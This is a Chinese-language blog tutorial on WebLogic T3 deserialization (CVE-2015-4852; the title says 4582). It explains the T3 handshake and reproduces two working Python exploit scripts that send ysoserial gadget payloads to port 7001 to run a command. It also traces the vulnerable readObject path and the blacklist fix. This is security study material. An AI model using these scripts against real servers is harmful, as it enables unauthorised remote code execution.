weblogic反序列化之T3协议(CVE-2015-4582)

(21) 2024-04-24 18:01:01

基于T3协议的weblogic反序列化漏洞

之前说过在weblogic里面其实反序列化漏洞利用中大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞,这篇来分析一下基于T3协议的weblogic,列出几个基于T3协议具有代表性的CVE: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883,每个cve的思路大致都是基于上几个漏洞的补丁进行的一个绕过,本来想逐个分析,这里先跳过吧。

T3协议

简介

RMI通信时会将数据进行序列化后进行传输,同样的接收数据后反序列化进行接收,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了如下的一些特性

服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

结构

主要包含请求包头和请求主体这两部分内容,总共分为七个部分,第一部分是协议头,也就是请求包头,后面2-7都是请求主体,贴一张充满故事的结构图
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第1张

请求包头

T3 协议在传输请求体之前都会先发送一个请求包到目标服务器,这个数据包的内容固定为

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

我们使用python手动发包

import socket

def T3Test(ip,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())

if __name__ == "__main__":
    ip = "192.168.__.__"
    port = 7001

    T3Test(ip,port)

查看它的返回信息,包含了一些版本信息
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第2张
使用Wireshark对它进行抓包,weblogic我是搭建在服务器上,所以ip就不露了,设置好过滤器后run上面的代码发包,在wireshark数据处右键 - 追踪流 - tcp流

weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第3张
同样在HELO后面会返回一个版本号,这就是发这个请求包头的作用

请求主体

上面说过了,请求主体就是2-7的部分,这里我们可以发现都是ac ed 00 05开头,说明该串内容是序列化的数据。而如果需要去构造payload的话,需要在后面序列化的内容中,进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列化达成攻击的目的,这里还借用师傅的图
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第4张这里两种攻击思路

第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

环境搭建

这里就不多说了,上次搭建专门写了weblogic反序列化介绍及环境搭建,放两个工具
ysoserial文件
ysoserial.jar文件
WeblogicScan检测工具

漏洞复现

看见网上有三四个exp

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.__.__"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/success"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        #return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.__.__"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

上面我复制了两个exp,运行的话会发现第一个失败,第二个输出Not Weblogic但是会执行成功
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第5张
仔细找了一下,问题出现在下面这两句话

    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")

我们输出data会发现,这里只会返回b'HELO',所以如果我们更改为这样的话

    data = sock.recv(1024)
    compile = re.compile("HELO")

就会执行成功,第一个exp是因为报错后会执行return,所以报完错就执行失败了,而第二个exp虽然报错但是没有执行return所以会执行接下来的命令,本来想再研究研究,但是发现debug的话一步一步跳下去就会成功执行
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第6张
挺怪的,python还比较菜,以后再看吧

漏洞分析

CVE-2015-4852

这里直接来到入口

wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class

调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第7张
跟进查看一下 ServerChannelInputStream
weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第8张
发现这个内部类继承了 ObjectInputStream 类,重写了 resolveClass 方法但是没有重写 readObject 方法,那么调用 ServerChannelInputStream#readObject 方法就是调用 ObjectInputStream#readObject 方法,并且这里ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议传递过来的反序列化数据,从而造成命令执行。

其实这里resolveClass是一个很有意思的点,这里进入到父类的resolveClass

weblogic反序列化之T3协议(CVE-2015-4582) (https://mushiming.com/)  第9张
resolveClass是执行ObjectInputStream.readObject()前必经的一个方法,就是说在反序列化过程中,序列化的数据都会从resolveClass这个方法中经过一次,那如果这里再提到如何防护的话,我们很容易能想到在这里添加过滤,没错,在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的

CVE-2015-4852简单修复

Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤,黑名单过滤了CommonCollections等一些常用的链,当然还有师傅提出通过web代理的方式(只能转发HTTP的请求,而不会转发T3协议的请求)和负载均衡(可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求)进行防护

Java安全之初探weblogic T3协议漏洞
Weblogic漏洞学习:T3反序列化

THE END

发表回复